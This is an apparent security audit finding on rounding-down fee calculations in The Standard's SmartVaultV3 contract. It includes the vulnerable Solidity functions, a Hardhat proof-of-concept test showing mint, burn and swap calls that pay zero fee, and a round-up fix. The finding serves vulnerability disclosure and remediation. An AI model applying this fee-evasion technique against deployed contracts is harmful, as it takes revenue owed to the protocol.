High Risk
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L161
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L170
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L215
Rounding-down inside mint(), burn() & swap() allows a user to pass a small _amount multiple times and escape paying any fee ever.
Root cause: Whenever feeRate (like mintFeeRate/burnFeeRate/swapFeeRate) for the above actions is set less than HUNDRED_PC, it's possible to pass an _amount such that the fee evaluates to zero due to rounding-down present in the calculation.
function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
@----> uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}
function burn(uint256 _amount) external ifMinted(_amount) {
@---> uint256 fee = _amount * ISmartVaultManagerV3(manager).burnFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
minted = minted - _amount;
EUROs.burn(msg.sender, _amount);
IERC20(address(EUROs)).safeTransferFrom(msg.sender, ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsBurned(_amount, fee);
}
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
@----> uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
Let us examine the current values of mintFeeRate (or burn/swap fee rates) and HUNDRED_PC, as present in unit tests:
ISmartVaultManagerV3(manager).mintFeeRate() = 500HUNDRED_PC = 1e5 = 100,000So if a user passes _amount as 199, fee would be calculated as {199 * 500} \div 100000 = 0 (rounding down by solidity). So if a user wants to mint an amount of 15000, he can simply call mint() a total of 100 times with _amount = 150.
Add the following code inside test/smartVault.js and run via npx hardhat test --grep 'no fee paid' test/smartVault.js. The 3 tests will pass.
describe('no fee paid', async () => {
it('allows zero fees while minting', async () => {
// setup - add some collateral first
const value = ethers.utils.parseEther('1');
await user.sendTransaction({to: Vault.address, value});
let { collateral} = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
// free mint now
const mintedAmount = 100;
// let us mint without fee over & over again
for(let i = 0; i < 5; i++) {
let minted = await Vault.connect(user).mint(user.address, mintedAmount);
await expect(minted).to.emit(Vault, 'EUROsMinted').withArgs(user.address, mintedAmount, 0); // @audit : no fee paid by user
}
});
it('allows zero fees while burning', async () => {
// setup - add some collateral first
const value = ethers.utils.parseEther('1');
await user.sendTransaction({to: Vault.address, value});
let { collateral} = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
// mint some euros
await Vault.connect(user).mint(user.address, ethers.utils.parseEther('0.9'));
// burn without fee now
const burnAmount = 100;
// let us burn without fee over & over again
for(let i = 0; i < 5; i++) {
let burned = await Vault.connect(user).burn(burnAmount);
await expect(burned).to.emit(Vault, 'EUROsBurned').withArgs(burnAmount, 0); // @audit : no fee paid by user
}
});
it('allows zero fees while swapping', async () => {
// setup
let Stablecoin = await (await ethers.getContractFactory('ERC20Mock')).deploy('sUSD', 'sUSD', 6);
const clUsdUsdPrice = 100000000;
const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('sUSD / USD');
await ClUsdUsd.setPrice(clUsdUsdPrice);
await TokenManager.addAcceptedToken(Stablecoin.address, ClUsdUsd.address);
// user vault has 1 ETH collateral
await user.sendTransaction({to: Vault.address, value: ethers.utils.parseEther('1')});
// user borrows 1200 EUROs
const borrowValue = ethers.utils.parseEther('1200');
await Vault.connect(user).mint(user.address, borrowValue);
const inToken = ethers.utils.formatBytes32String('ETH');
const outToken = ethers.utils.formatBytes32String('sUSD');
// @audit-info : user is swapping 100 wei
const swapValue = ethers.utils.parseEther('0.0000000000000001');
const swapFee = swapValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
expect(swapFee).to.equal(0, "zero swap fee"); // @audit-info : zero fee
const protocolBalance = await protocol.getBalance();
// swap
await Vault.connect(user).swap(inToken, outToken, swapValue);
const {
amountIn, txValue
} = await SwapRouterMock.receivedSwap();
// @audit : no fee deducted or added in the following variables
expect(amountIn).to.equal(swapValue);
expect(txValue).to.equal(swapValue);
expect(await protocol.getBalance()).to.equal(protocolBalance);
});
});
Hardhat
Rounding-up needs to be done here instead of rounding-down. Either use an external library like solmate which has a function like mulDivUp or incorporate custom logic. The following recommendation shows such a custom logic for mint(), but can be duplicated for burn() and swap() too in the same manner:
function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
+ uint256 addExtra = (fee * ISmartVaultManagerV3(manager).HUNDRED_PC()) == (_amount * ISmartVaultManagerV3(manager).mintFeeRate()) ? 0 : 1;
+ fee = fee + addExtra;
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}